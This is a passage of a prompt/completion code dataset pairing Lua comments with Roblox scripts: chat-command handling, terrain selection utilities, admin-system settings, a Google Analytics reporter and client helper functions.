do\n\t\t\t\t\tif string.match(msg, string.lower(egg[i].Name)) then\n\t\t\t\t\t\tattack(egg[i].Name)\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\tend\nend\n\nif game.Players.NumPlayers>1 then\n\tx=game.Players:children()\n\t\n\tfor i=1, #x do\n\t\tif script.Parent:findFirstChild(\"Commander\")~=nil then\n\t\t\tif script.Parent.Commander:children()~=nil or script.Parent.Commander:children()>0 then\n\t\t\t\tlocal ch=script.Parent.Commander:children()\n\t\t\t\tfor i=1, #ch do\n\t\t\t\t\tif string.lower(ch[i].Name)==string.lower(x[i].Name) then\n\t\t\t\t\t\tx[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif string.lower(script.Parent.Commander.Value)==string.lower(x[i].Name) then\n\t\t\t\tx[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) \n\t\t\tend\n\t\telse\n\t\t\tx[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end)\n\t\tend\n\tend\nend\n\n\nfunction onPlayerEntered(Player) \n\twhile Player.Name==nil do\n\t\twait(2)\n\tend\n\tif script.Parent:findFirstChild(\"Commander\")~=nil then\n\t\tif script.Parent.Commander:children()~=nil or script.Parent.Commander:children()>0 then\n\t\t\tlocal ch=script.Parent.Commander:children()\n\t\t\tfor i=1, #ch do\n\t\t\t\tif string.lower(ch[i].Name)==string.lower(Player.Name) then\n\t\t\t\t\tPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) \n\t\t\t\tend\n\t\t\tend\n\t\telseif string.lower(script.Parent.Commander.Value)==string.lower(Player.Name) then\n\t\t\tPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) \n\t\tend\n\telse\n\t\tPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) \n\tend\nend\n\ngame.Players.ChildAdded:connect(onPlayerEntered) \n\n\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n--------------------------------------------Terrain Utilities Begin-----------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n--makes a wedge at location x, y, z\n--sets cell x, y, z to default material if parameter is provided, if not sets cell x, y, z to be whatever material it previously w\n--returns true if made a wedge, false if the cell remains a block", "completion": "\nt.MakeWedge = function(x, y, z, defaultmaterial)\n\treturn game:GetService(\"Terrain\"):AutoWedgeCell(x,y,z)\nend\n\nt.SelectTerrainRegion = function(regionToSelect, color, selectEmptyCells, selectionParent)\n\tlocal terrain = game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\")\n\tif not terrain then return end\n\n\tassert(regionToSelect)\n\tassert(color)\n\n\tif not type(regionToSelect) == \"Region3\" then\n\t\terror(\"regionToSelect (first arg), should be of type Region3, but is type\",type(regionToSelect))\n\tend\n\tif not type(color) == \"BrickColor\" then\n\t\terror(\"color (second arg), should be of type BrickColor, but is type\",type(color))\n\tend\n\n\t-- frequently used terrain calls (speeds up call, no lookup necessary)\n\tlocal GetCell = terrain.GetCell\n\tlocal WorldToCellPreferSolid = terrain.WorldToCellPreferSolid\n\tlocal CellCenterToWorld = terrain.CellCenterToWorld\n\tlocal emptyMaterial = Enum.CellMaterial.Empty\n\n\t-- container for all adornments, passed back to user\n\tlocal selectionContainer = Instance.new(\"Model\")\n\tselectionContainer.Name = \"SelectionContainer\"\n\tselectionContainer.Archivable = false\n\tif selectionParent then\n\t\tselectionContainer.Parent = selectionParent\n\telse\n\t\tselectionContainer.Parent = game:GetService(\"Workspace\")\n\tend\n\n\tlocal updateSelection = nil -- function we return to allow user to update selection\n\tlocal currentKeepAliveTag = nil -- a tag that determines whether adorns should be destroyed\n\tlocal aliveCounter = 0 -- helper for currentKeepAliveTag\n\tlocal lastRegion = nil -- used to stop updates that do nothing\n\tlocal adornments = {} -- contains all adornments\n\tlocal reusableAdorns = {}\n\n\tlocal selectionPart = Instance.new(\"Part\")\n\tselectionPart.Name = \"SelectionPart\"\n\tselectionPart.Transparency = 1\n\tselectionPart.Anchored = true\n\tselectionPart.Locked = true\n\tselectionPart.CanCollide = false\n\tselectionPart.Size = Vector3.new(4.2,4.2,4.2)\n\n\tlocal selectionBox = Instance.new(\"SelectionBox\")\n\n\t-- srs translation from region3 to region3int16\n\tlocal function Region3ToRegion3int16(region3)\n\t\tlocal theLowVec = region3.CFrame.p - (region3.Size/2) + Vector3.new(2,2,2)\n\t\tlocal lowCell = WorldToCellPreferSolid(terrain,theLowVec)\n\n\t\tlocal theHighVec = region3.CFrame.p + (region3.Size/2) - Vector3.new(2,2,2)\n\t\tlocal highCell = WorldToCellPreferSolid(terrain, theHighVec)\n\n\t\tlocal highIntVec = Vector3int16.new(highCell.x,highCell.y,highCell.z)\n\t\tlocal lowIntVec = Vector3int16.new(lowCell.x,lowCell.y,lowCell.z)\n\n\t\treturn Region3int16.new(lowIntVec,highIntVec)\n\tend\n\n\t-- helper function that creates the basis for a selection box\n\tlocal function createAdornment(theColor)\n\t\tlocal selectionPartClone = nil\n\t\tlocal selectionBoxClone = nil\n\n\t\tif #reusableAdorns > 0 then\n\t\t\tselectionPartClone = reusableAdorns[1][\"part\"]\n\t\t\tselectionBoxClone = reusableAdorns[1][\"box\"]\n\t\t\ttable.remove(reusableAdorns,1)\n\n\t\t\tselectionBoxClone.Visible = true\n\t\telse\n\t\t\tselectionPartClone = selectionPart:Clone()\n\t\t\tselectionPartClone.Archivable = false\n\n\t\t\tselectionBoxClone = selectionBox:Clone()\n\t\t\tselectionBoxClone.Archivable = false\n\n\t\t\tselectionBoxClone.Adornee = selectionPartClone\n\t\t\tselectionBoxClone.Parent = selectionContainer\n\n\t\t\tselectionBoxClone.Adornee = selectionPartClone\n\n\t\t\tselectionBoxClone.Parent = selectionContainer\n\t\tend\n\n\t\tif theColor then\n\t\t\tselectionBoxClone.Color = theColor\n\t\tend\n\n\t\treturn selectionPartClone, selectionBoxClone\n\tend\n\n\t-- iterates through all current adornments and deletes any that don't have latest tag\n\tlocal function cleanUpAdornments()\n\t\tfor cellPos, adornTable in pairs(adornments) do\n\n\t\t\tif adornTable.KeepAlive ~= currentKeepAliveTag then -- old news, we should get rid of this\n\t\t\t\tadornTable.SelectionBox.Visible = false\n\t\t\t\ttable.insert(reusableAdorns,{part = adornTable.SelectionPart, box = adornTable.SelectionBox})\n\t\t\t\tadornments[cellPos] = nil\n\t\t\tend\n\t\tend\n\tend\n\n\t-- helper function to update tag\n\tlocal function incrementAliveCounter()\n\t\taliveCounter = aliveCounter + 1\n\t\tif aliveCounter > 1000000 then\n\t\t\taliveCounter = 0\n\t\tend\n\t\treturn aliveCounter\n\tend\n\n\t-- finds full cells in region and adorns each cell with a box, with the argument color\n\tlocal function adornFullCellsInRegion(region, color)\n\t\tlocal regionBegin = region.CFrame.p - (region.Size/2) + Vector3.new(2,2,2)\n\t\tlocal regionEnd = region.CFrame.p + (region.Size/2) - Vector3.new(2,2,2)\n\n\t\tlocal cellPosBegin = WorldToCellPreferSolid(terrain, regionBegin)\n\t\tlocal cellPosEnd = WorldToCellPreferSolid(terrain, regionEnd)\n\n\t\tcurrentKeepAliveTag = incrementAliveCounter()\n\t\tfor y = cellPosBegin.y, cellPosEnd.y do\n\t\t\tfor z = cellPosBegin.z, cellPosEnd.z do\n\t\t\t\tfor x = cellPosBegin.x, cellPosEnd.x do\n\t\t\t\t\tlocal cellMaterial = GetCell(terrain, x, y, z)\n\n\t\t\t\t\tif cellMaterial ~= emptyMaterial then\n\t\t\t\t\t\tlocal cframePos = CellCenterToWorld(terrain, x, y, z)\n\t\t\t\t\t\tlocal cellPos = Vector3int16.new(x,y,z)\n\n\t\t\t\t\t\tlocal updated = false\n\t\t\t\t\t\tfor cellPosAdorn, adornTable in pairs(adornments) do\n\t\t\t\t\t\t\tif cellPosAdorn == cellPos then\n\t\t\t\t\t\t\t\tadornTable.KeepAlive = currentKeepAliveTag\n\t\t\t\t\t\t\t\tif color then\n\t\t\t\t\t\t\t\t\tadornTable.SelectionBox.Color = color\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tupdated = true\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend \n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tif not updated then\n\t\t\t\t\t\t\tlocal selectionPart, selectionBox = createAdornment(color)\n\t\t\t\t\t\t\tselectionPart.Size = Vector3.new(4,4,4)\n\t\t\t\t\t\t\tselectionPart.CFrame = CFrame.new(cframePos)\n\t\t\t\t\t\t\tlocal adornTable = {SelectionPart = selectionPart, SelectionBox = selectionBox, KeepAlive = currentKeepAliveTag}\n\t\t\t\t\t\t\tadornments[cellPos] = adornTable\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tcleanUpAdornments()\n\tend\n\n\n\t------------------------------------- setup code ------------------------------\n\tlastRegion = regionToSelect\n\n\tif selectEmptyCells then -- use one big selection to represent the area selected\n\t\tlocal selectionPart, selectionBox = createAdornment(color)\n\n\t\tselectionPart.Size = regionToSelect.Size\n\t\tselectionPart.CFrame = regionToSelect.CFrame\n\n\t\tadornments.SelectionPart = selectionPart\n\t\tadornments.SelectionBox = selectionBox\n\n\t\tupdateSelection = \n\t\t\tfunction (newRegion, color)\n\t\t\t\tif newRegion and newRegion ~= lastRegion then\n\t\t\t\tlastRegion = newRegion\n\t\t\t\tselectionPart.Size = newRegion.Size\n\t\t\t\tselectionPart.CFrame = newRegion.CFrame\n\t\t\tend\n\t\t\t\tif color then\n\t\t\t\tselectionBox.Color = color\n\t\t\tend\n\t\t\tend\n\telse -- use individual cell adorns to represent the area selected\n\t\tadornFullCellsInRegion(regionToSelect, color)\n\t\tupdateSelection = \n\t\t\tfunction (newRegion, color)\n\t\t\t\tif newRegion and newRegion ~= lastRegion then\n\t\t\t\tlastRegion = newRegion\n\t\t\t\tadornFullCellsInRegion(newRegion, color)\n\t\t\tend\n\t\t\tend\n\n\tend\n\n\tlocal destroyFunc = function()\n\t\tupdateSelection = nil\n\t\tif selectionContainer then selectionContainer:Destroy() end\n\t\tadornments = nil\n\tend\n\n\treturn updateSelection, destroyFunc\nend\n"} +{"prompt": "--[[Standardized Values: Don't touch unless needed]]", "completion": "\n\t\n\t--[WEIGHT // Cubic stud : pounds ratio]\n\tTune.WeightScaling = 1/50\t--Default = 1/50 (1 cubic stud = 50 lbs)\n\tTune.LegacyScaling = 1/10\t--Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]\n\t\nreturn Tune\n"} +{"prompt": "-- networking : (table) our http handler for making POST requests\n-- trackingId : (string)\n-- clientId : (string)\n-- userId : (string)\n-- eventArgs : (table) event specific arguments", "completion": "\nlocal function sendReport(networking, trackingId, clientId, userId, eventArgs)\n\tlocal url = \"https://www.google-analytics.com/collect\"\n\t--local url = \"https://www.google-analytics.com/debug/collect\"\n\n\t-- sanitize some input\n\tlocal function exists(variableName, value)\n\t\tlocal wasFound = (value ~= nil)\n\t\tif not wasFound then\n\t\t\twarn(\"Google Analytics cannot send reports without a \" .. variableName)\n\t\tend\n\t\treturn wasFound\n\tend\n\tif not (exists(\"tracking ID\", trackingId) and\n\t\texists(\"userId\", userId) and\n\t\texists(\"clientId\", clientId) and\n\t\texists(\"event arguments\", eventArgs)) then\n\t\treturn\n\tend\n\n\tlocal params = {}\n\tfor k,v in pairs(eventArgs) do\n\t\ttable.insert(params, string.format(\"%s=%s\",k,v))\n\tend\n\n\t-- add some required arguments\n\ttable.insert(params, string.format(\"v=%d\", VERSION))\t\t-- version\n\ttable.insert(params, string.format(\"tid=%s\", trackingId))\t-- property Id\n\ttable.insert(params, string.format(\"ds=%s\", PLACE_ID))\t\t-- data source\n\ttable.insert(params, string.format(\"cid=%s\", clientId))\t\t-- guid to identify this specific client\n\ttable.insert(params, string.format(\"uid=%s\", userId))\t\t-- unique, anonymous user id. This should be last\n\n\n\t-- construct the post body data\n\tlocal paramString = table.concat(params, \"&\")\n\n\t-- report the event to GA\n\treturn networking:POST(url, paramString)\nend\n\n"} +{"prompt": "-- When the player gets closer than WAVE_THRESHOLD, NPC will wave.\n-- Will not wave again until the player goes outside of WAVE_THRESHOLD again.", "completion": "\nlocal WAVE_THRESHOLD = 20 -- studs\nlocal WAVE_DEBOUNCE_TIME = 3 -- seconds\n"} +{"prompt": "--Jamie", "completion": "\n\n\n\n\n\n\n\ndebounce = true\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tscript.Parent.Refill:Play()\n\t\thit.Parent.Saude.Kit.Parent.Kit.Aspirina.Value = hit.Parent.Saude.Kit.Parent.Kit.Aspirina.MaxValue --Painkillers\n\t\thit.Parent.Saude.Kit.Parent.Kit.Bandagem.Value = hit.Parent.Saude.Kit.Parent.Kit.Bandagem.MaxValue --Field Dressing/Bandages\n\t\thit.Parent.Saude.Kit.Parent.Kit.Energetico.Value = hit.Parent.Saude.Kit.Parent.Kit.Energetico.MaxValue --Energy Drink\n\t\thit.Parent.Saude.Kit.Parent.Kit.Epinefrina.Value = hit.Parent.Saude.Kit.Parent.Kit.Epinefrina.MaxValue --Epinephrine\n\t\thit.Parent.Saude.Kit.Parent.Kit.Morfina.Value = hit.Parent.Saude.Kit.Parent.Kit.Morfina.MaxValue --Morphine\n\t\thit.Parent.Saude.Kit.Parent.Kit.SacoDeSangue.Value = 15 --Blood Bag\n\t\thit.Parent.Saude.Kit.Parent.Kit.Splint.Value = hit.Parent.Saude.Kit.Parent.Kit.Splint.MaxValue --Splint (fixes injured status)\n\t\thit.Parent.Saude.Kit.Parent.Kit.skit.Value = 20\n\t\thit.Parent.Saude.Kit.Parent.Kit.bvm.Value = 1\n\t\thit.Parent.Saude.Kit.Parent.Kit.etube.Value = 2\n\t\thit.Parent.Saude.Kit.Parent.Kit.nrb.Value = 2\n\t\thit.Parent.Saude.Kit.Parent.Kit.Tourniquet.Value = 5\n\t\tdebounce = false\n\t\tprint(\"Refill Cooling Down\")\n\t\twait(5)\n debounce = true\n print(\"Refill Cooldown Over\")\n\tend\nend\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "-- ROBLOX deviation: forward declarations", "completion": "\nlocal formatStackTrace, getStackTraceLines --, separateMessageFromStack\n"} +{"prompt": "--------------| SYSTEM SETTINGS |--------------", "completion": "\nPrefix\t\t\t\t= \"/\";\t\t\t-- The character you use before every command (e.g. ';jump me').\nSplitKey \t\t\t= \" \";\t\t\t-- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').\nBatchKey \t\t\t= \"\";\t\t\t-- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'\nQualifierBatchKey \t= \",\";\t\t\t-- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)\n\nTheme\t\t\t\t= \"Blue\";\t\t-- The default UI theme.\nNoticeSoundId\t\t= 2865227271;\t-- The SoundId for notices.\nNoticeVolume\t\t= 0.1;\t\t\t-- The Volume for notices.\nNoticePitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for notices.\nErrorSoundId\t\t= 2865228021;\t-- The SoundId for error notifications.\nErrorVolume\t\t\t= 0.1;\t\t\t-- The Volume for error notifications.\nErrorPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for error notifications.\nAlertSoundId\t\t= 3140355872;\t-- The SoundId for alerts.\nAlertVolume\t\t\t= 0.5;\t\t\t-- The Volume for alerts.\nAlertPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for alerts.\n\nWelcomeBadgeId\t\t= 0;\t\t\t-- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.\n\nCommandDebounce\t\t= true;\t\t\t-- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.\nSaveRank\t\t\t= true;\t\t\t-- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.\nLoopCommands\t\t= 3;\t\t\t-- The minimum rank required to use LoopCommands.\nMusicList \t\t\t= {505757009,};\t-- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.\n\nThemeColors = {\t\t\t\t\t\t-- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};\n\t{\"Red\", \tColor3.fromRGB(150, 0, 0),\t\t};\n\t{\"Orange\", \tColor3.fromRGB(150, 75, 0),\t\t};\n\t{\"Brown\", \tColor3.fromRGB(120, 80, 30),\t};\n\t{\"Yellow\", \tColor3.fromRGB(130, 120, 0),\t};\n\t{\"Green\", \tColor3.fromRGB(0, 120, 0),\t\t};\n\t{\"Blue\", \tColor3.fromRGB(0, 100, 150),\t};\n\t{\"Purple\", \tColor3.fromRGB(100, 0, 150),\t};\n\t{\"Pink\",\tColor3.fromRGB(150, 0, 100),\t};\n\t{\"Black\", \tColor3.fromRGB(60, 60, 60),\t\t};\n};\n\nColors = {\t\t\t\t\t\t\t-- The colours for ChatColors and command arguments. | Format: {\"ShortName\", \"FullName\", Color3Value};\n\t{\"r\", \t\t\"Red\",\t\t \t\tColor3.fromRGB(255, 0, 0)\t\t};\n\t{\"o\", \t\t\"Orange\",\t \t\tColor3.fromRGB(250, 100, 0)\t\t};\n\t{\"y\", \t\t\"Yellow\",\t\t\tColor3.fromRGB(255, 255, 0)\t\t};\n\t{\"g\", \t\t\"Green\"\t,\t\t\tColor3.fromRGB(0, 255, 0)\t\t};\n\t{\"dg\", \t\t\"DarkGreen\"\t, \t\tColor3.fromRGB(0, 125, 0)\t\t};\n\t{\"b\", \t\t\"Blue\",\t\t \t\tColor3.fromRGB(0, 255, 255)\t\t};\n\t{\"db\", \t\t\"DarkBlue\",\t\t\tColor3.fromRGB(0, 50, 255)\t\t};\n\t{\"p\", \t\t\"Purple\",\t \t\tColor3.fromRGB(150, 0, 255)\t\t};\n\t{\"pk\",\t\t\"Pink\",\t\t \t\tColor3.fromRGB(255, 85, 185)\t};\n\t{\"bk\",\t\t\"Black\",\t\t \tColor3.fromRGB(0, 0, 0)\t\t\t};\n\t{\"w\",\t\t\"White\",\t \t\tColor3.fromRGB(255, 255, 255)\t};\n};\nChatColors = {\t\t\t\t\t\t-- The colour a player's chat will appear depending on their rank. '[\"Owner\"] = \"Yellow\";' makes the owner's chat yellow.\n\t--[5] \t\t= \"Yellow\";\n};\n\nCmdbar\t\t\t\t\t\t= 1;\t\t\t-- The minimum rank required to use the Cmdbar.\nCmdbar2\t\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to use the Cmdbar2.\nViewBanland\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to view the banland.\nOnlyShowUsableCommands\t\t= true;\t\t\t-- Only display commands equal to or below the user's rank on the Commands page.\nRankRequiredToViewPage\t\t= {\t\t\t\t-- || The pages on the main menu ||\n\t[\"Commands\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Settings\"]\t\t= 0;\n};\nRankRequiredToViewRank\t\t= {\t\t\t\t-- || The rank categories on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"HeadAdmin\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Mod\"]\t\t\t\t= 0;\n\t[\"VIP\"]\t\t\t\t= 0;\n};\nRankRequiredToViewRankType\t= {\t\t\t\t-- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"SpecificUsers\"]\t= 5;\n\t[\"Gamepasses\"] \t\t= 0;\n\t[\"Assets\"] \t\t\t= 0;\n\t[\"Groups\"] \t\t\t= 0;\n\t[\"Friends\"] \t\t= 0;\n\t[\"FreeAdmin\"] \t\t= 0;\n\t[\"VipServerOwner\"] \t= 0;\n};\nRankRequiredToViewIcon\t\t= 0;\n\nWelcomeRankNotice\t\t\t= false;\t\t\t-- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.\nWelcomeDonorNotice\t\t\t= false;\t\t\t-- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.\nWarnIncorrectPrefix\t\t\t= false;\t\t\t-- Warn the user if using the wrong prefix | \"Invalid prefix! Try using [correctPrefix][commandName] instead!\"\nDisableAllNotices\t\t\t= true;\t\t-- Set to true to disable all HD Admin notices.\n\nScaleLimit\t\t\t\t\t= 4;\t\t\t-- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.\nIgnoreScaleLimit\t\t\t= 3;\t\t\t-- Any ranks equal or above this value will ignore 'ScaleLimit'\nCommandLimits\t\t\t\t= {\t\t\t\t-- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.\n\t[\"fly\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"fly2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"speed\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"jumpPower\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n};\n\nVIPServerCommandBlacklist\t= {\"permRank\", \"permBan\", \"globalAnnouncement\"};\t-- Commands players are probihited from using in VIP Servers.\nGearBlacklist\t\t\t\t= {67798397};\t-- The IDs of gear items to block when using the ;gear command.\nIgnoreGearBlacklist\t\t\t= 4;\t\t\t-- The minimum rank required to ignore the gear blacklist.\n\nPlayerDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.\nSystemDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.\n\nCoreNotices\t\t\t\t\t= {\t\t\t\t-- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]\n\t--NoticeName = NoticeDetails;\n};\n\n\n\n"} +{"prompt": "--// Special Variables", "completion": "\nreturn function()\n\tlocal _G, game, script, getfenv, setfenv, workspace, \n\tgetmetatable, setmetatable, loadstring, coroutine, \n\trawequal, typeof, print, math, warn, error, pcall, \n\txpcall, select, rawset, rawget, ipairs, pairs, \n\tnext, Rect, Axes, os, tick, Faces, unpack, string, Color3, \n\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, \n\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, \n\tNumberSequenceKeypoint, PhysicalProperties, Region3int16, \n\tVector3int16, elapsedTime, require, table, type, wait, \n\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = \n\t\t_G, game, script, getfenv, setfenv, workspace, \n\tgetmetatable, setmetatable, loadstring, coroutine, \n\trawequal, typeof, print, math, warn, error, pcall, \n\txpcall, select, rawset, rawget, ipairs, pairs, \n\tnext, Rect, Axes, os, tick, Faces, unpack, string, Color3, \n\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, \n\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, \n\tNumberSequenceKeypoint, PhysicalProperties, Region3int16, \n\tVector3int16, elapsedTime, require, table, type, wait, \n\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay\n\tlocal script = script\n\tlocal service = service\n\tlocal client = client\n\tlocal Anti, Core, Functions, Process, Remote, UI, Variables\n\tlocal function Init()\n\t\tUI = client.UI;\n\t\tAnti = client.Anti;\n\t\tCore = client.Core;\n\t\tVariables = client.Variables;\n\t\tFunctions = client.Functions;\n\t\tProcess = client.Process;\n\t\tRemote = client.Remote;\n\tend\n\n\tgetfenv().client = nil\n\tgetfenv().service = nil\n\tgetfenv().script = nil\n\n\tclient.Functions = {\n\t\tInit = Init;\n\t\tKill = client.Kill;\n\n\t\tGetRandom = function(pLen)\n\t\t\tlocal Len = (type(pLen) == \"number\" and pLen) or math.random(10,15) --// reru\n\t\t\tlocal Res = {};\n\t\t\tfor Idx = 1, Len do\n\t\t\t\tRes[Idx] = string.format('%02x', math.random(255));\n\t\t\tend;\n\t\t\treturn table.concat(Res)\n\t\tend; \n\n\t\tRound = function(num)\n\t\t\treturn math.floor(num + 0.5)\n\t\tend;\n\n\t\tSetView = function(ob)\n\t\t\tif ob=='reset' then\n\t\t\t\tworkspace.CurrentCamera.CameraType = 'Custom' \n\t\t\t\tworkspace.CurrentCamera.CameraSubject = service.Player.Character.Humanoid\n\t\t\t\tworkspace.CurrentCamera.FieldOfView = 70\n\t\t\telse\n\t\t\t\tworkspace.CurrentCamera.CameraSubject = ob\n\t\t\tend\n\t\tend;\n\n\t\tDizzy = function(speed)\n\t\t\tservice.StopLoop(\"DizzyLoop\")\n\t\t\tprint(\"dizzy\")\n\t\t\tif speed then\n\t\t\t\tprint(\"start\")\n\t\t\t\tlocal cam = workspace.CurrentCamera\n\t\t\t\tlocal last = tick()\n\t\t\t\tlocal rot = 0\n\t\t\t\tlocal flip = false\n\t\t\t\tservice.StartLoop(\"DizzyLoop\",\"RenderStepped\",function()\n\t\t\t\t\tprint(\"in loop\")\n\t\t\t\t\tlocal dt = tick() - last\n\t\t\t\t\tif flip then\n\t\t\t\t\t\trot = rot+math.rad(speed*dt)\n\t\t\t\t\telse\n\t\t\t\t\t\trot = rot-math.rad(speed*dt)\n\t\t\t\t\tend\n\n\t\t\t\t\tif rot >= 2.5 or rot <= -2.5 then\n\t\t\t\t\t\t--flip = not flip\n\t\t\t\t\tend\n\t\t\t\t\tcam.CoordinateFrame = cam.CoordinateFrame * CFrame.Angles(0, 0.00, rot)\n\t\t\t\t\tlast = tick()\n\t\t\t\tend)\n\t\t\tend\n\t\tend;\n\n\t\tBase64Encode = function(data)\n\t\t\tlocal b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'\n\t\t\treturn ((data:gsub('.', function(x) \n\t\t\t\tlocal r,b='',string.byte(x)\n\t\t\t\tfor i=8,1,-1 do r=r..(b%2^i-b%2^(i-1)>0 and '1' or '0') end\n\t\t\t\treturn r;\n\t\t\tend)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x)\n\t\t\t\tif (#x < 6) then return '' end\n\t\t\t\tlocal c=0\n\t\t\t\tfor i=1,6 do c=c+(string.sub(x,i,i)=='1' and 2^(6-i) or 0) end\n\t\t\t\treturn string.sub(b,c+1,c+1)\n\t\t\tend)..({ '', '==', '=' })[#data%3+1])\n\t\tend;\n\n\t\tBase64Decode = function(data)\n\t\t\tlocal b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'\n\t\t\tdata = string.gsub(data, '[^'..b..'=]', '')\n\t\t\treturn (data:gsub('.', function(x)\n\t\t\t\tif (x == '=') then return '' end\n\t\t\t\tlocal r,f='',(string.find(b,x)-1)\n\t\t\t\tfor i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end\n\t\t\t\treturn r;\n\t\t\tend):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)\n\t\t\t\tif (#x ~= 8) then return '' end\n\t\t\t\tlocal c=0\n\t\t\t\tfor i=1,8 do c=c+(string.sub(x,i,i)=='1' and 2^(7-i) or 0) end\n\t\t\t\treturn string.char(c)\n\t\t\tend))\n\t\tend;\n\n\t\tGetGuiData = function(args)\n\t\t\tlocal props = {\n\t\t\t\t\"AbsolutePosition\";\n\t\t\t\t\"AbsoluteSize\";\n\t\t\t\t\"ClassName\";\n\t\t\t\t\"Name\";\n\t\t\t\t\"Parent\";\n\t\t\t\t\"Archivable\";\n\t\t\t\t\"SelectionImageObject\";\n\t\t\t\t\"Active\";\n\t\t\t\t\"BackgroundColor3\";\n\t\t\t\t\"BackgroundTransparency\";\n\t\t\t\t\"BorderColor3\";\n\t\t\t\t\"BorderSizePixel\";\n\t\t\t\t\"Position\";\n\t\t\t\t\"Rotation\";\n\t\t\t\t\"Selectable\";\n\t\t\t\t\"Size\";\n\t\t\t\t\"SizeConstraint\";\n\t\t\t\t\"Style\";\n\t\t\t\t\"Visible\";\n\t\t\t\t\"ZIndex\";\n\t\t\t\t\"ClipsDescendants\";\n\t\t\t\t\"Draggable\";\n\t\t\t\t\"NextSelectionDown\";\n\t\t\t\t\"NextSelectionLeft\";\n\t\t\t\t\"NextSelectionRight\";\n\t\t\t\t\"NextSelectionUp\";\n\t\t\t\t\"AutoButtonColor\";\n\t\t\t\t\"Modal\";\n\t\t\t\t\"Image\";\n\t\t\t\t\"ImageColor3\";\n\t\t\t\t\"ImageRectOffset\";\n\t\t\t\t\"ImageRectSize\";\n\t\t\t\t\"ImageTransparency\";\n\t\t\t\t\"ScaleType\";\n\t\t\t\t\"SliceCenter\";\n\t\t\t\t\"Text\";\n\t\t\t\t\"TextColor3\";\n\t\t\t\t\"Font\";\n\t\t\t\t\"TextScaled\";\n\t\t\t\t\"TextStrok